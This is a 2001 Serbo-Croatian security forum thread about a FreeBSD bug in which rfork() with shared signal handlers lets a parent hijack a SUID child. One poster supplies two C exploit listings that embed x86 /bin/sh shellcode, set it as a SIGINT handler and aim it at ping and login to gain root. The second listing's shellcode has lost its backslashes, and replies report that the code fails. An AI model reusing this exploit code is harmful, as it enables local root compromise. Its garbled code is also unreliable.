[ slash @ 22.07.2001. 14:04 ] @
Zanima me dali je netko naisao na ovakav bug te ga uspio exploitati ? Za one koji nisu upoznati sa tom vrstom bugova: http://razor.bindview.com/publish/papers/signals.txt |
[ slash @ 22.07.2001. 14:04 ] @
[ Vojislav Milunovic @ 22.07.2001. 14:57 ] @
Hmm ima nesto zabavno u vezi FreeBSD.Naime ako kreiras proces sa rfork() i pritome startujes neki SUID program.Signal akcije(handleri) se ne ciste za startovani proces vec se nasledjuje od parenta pa je moguce u parentu definisati signal() handler koji ce da izvrsi shellcode i onda detetu poslati signal tj. da SUID program popije signal i da skoci tamo gde smo mu mi kao parent odredili.
Naime bug je ispravljen,ali daje moemntalno root-a na FreeBSD 4.x (za 3.x verovatno ce isto da da root-a) [Ovu poruku je menjao predator dana 07-22-2001 u 03:01 PM GMT] [ slash @ 22.07.2001. 18:16 ] @
Citat: predator je napisao: Hmm ima nesto zabavno u vezi FreeBSD.Naime ako kreiras proces sa rfork() i pritome startujes neki SUID program.Signal akcije(handleri) se ne ciste za startovani proces vec se nasledjuje od parenta pa je moguce u parentu definisati signal() handler koji ce da izvrsi shellcode i onda detetu poslati signal tj. da SUID program popije signal i da skoci tamo gde smo mu mi kao parent odredili. Naime bug je ispravljen,ali daje moemntalno root-a na FreeBSD 4.x (za 3.x verovatno ce isto da da root-a) [Ovu poruku je menjao predator dana 07-22-2001 u 03:01 PM GMT] mogao si postat neki example, jer osobno, nisam bas nesto ovo proucavao [ Vojislav Milunovic @ 22.07.2001. 22:28 ] @
Evo :
Code: #include<sys/types.h> #include<signal.h> #include<unistd.h> #include<stdlib.h> #include<stdio.h> char shell[]= "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\xeb\x17\x5b\x31\xc0\x88\x43\x07\x89\x5b\x08\x89\x43\x0c\x50\x8d" "\x53\x08\x52\x53\xb0\x3b\x50\xcd\x80\xe8\xe4\xff\xff\xff/bin/sh"; int main(){ int pid; char *c0d3; setenv("HOUSE",shell,1); c0d3 = getenv("HOUSE"); signal(SIGINT,(sig_t)shell); pid = rfork(RFPROC|RFSIGSHARE); if ( pid == 0){ printf("Child \n"); execl("/sbin/ping","ping","127.0.0.1",0); _exit(0); } else { printf("parent\n"); sleep(1); printf("Sendign signal\n"); kill(pid,SIGINT); for(;;); } } Ovo je slican kod kao sto je GEorgi Guninski poslao samo sam ga malo ja preuradio,zamenio shellcode i da umesto ping stavite login jer po recima Georgi Guninskog ping nece da da euid = 0. [Ovu poruku je menjao predator dana 07-23-2001 u 12:34 AM GMT] [ Vojislav Milunovic @ 22.07.2001. 22:48 ] @
Kod bi trebalo da radi ;o) Nisam ga probao jel sam patchvoao kernel.
[ Riste Pejov @ 24.07.2001. 02:53 ] @
Probao sam tvoj code na FreeBSD 4.2 RELEASE
i nije radio ... valjda je patchiran na ovoj verzii ![]() [ Vojislav Milunovic @ 24.07.2001. 14:39 ] @
Probaj ovaj kod ,naso sam gresku :
Code: #include<sys/types.h> #include<signal.h> #include<unistd.h> #include<stdlib.h> #include<stdio.h> char shell[]= "x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90" "xebx17x5bx31xc0x88x43x07x89x5bx08x89x43x0cx50x8d" "x53x08x52x53xb0x3bx50xcdx80xe8xe4xffxffxff/bin/sh"; int main(int argc,char **argv){ int pid; char *c0d3; if (!(c0d3 = getenv("HOUSE")) ){ setenv("HOUSE",shell,1); execl(argv[0],argv[0],NULL); } pid = rfork(RFPROC|RFSIGSHARE); if ( pid == 0){ printf("Child n"); execl("/usr/bin/login","login",NULL); _exit(0); } else { printf("parentn"); printf("%pn",c0d3); fflush(stdout); sleep(1); signal(SIGINT,(sig_t)shell); printf("Sendign signaln"); kill(pid,SIGINT); for(;;); } } [ Riste Pejov @ 31.07.2001. 04:27 ] @
Ma nece ni taj da radi
![]() nisam probao ali sam siguran ... mislim da nisam napomenuo ... ali shell code ti je za x86, a freeBSD je na Alphu ![]() [ Vojislav Milunovic @ 31.07.2001. 12:15 ] @
e jebiga nikad nisam radio na Alphi niti znam njen assembler tako da ne mogu da napisem shell code za to ;o)
Copyright (C) 2001-2025 by www.elitesecurity.org. All rights reserved.
|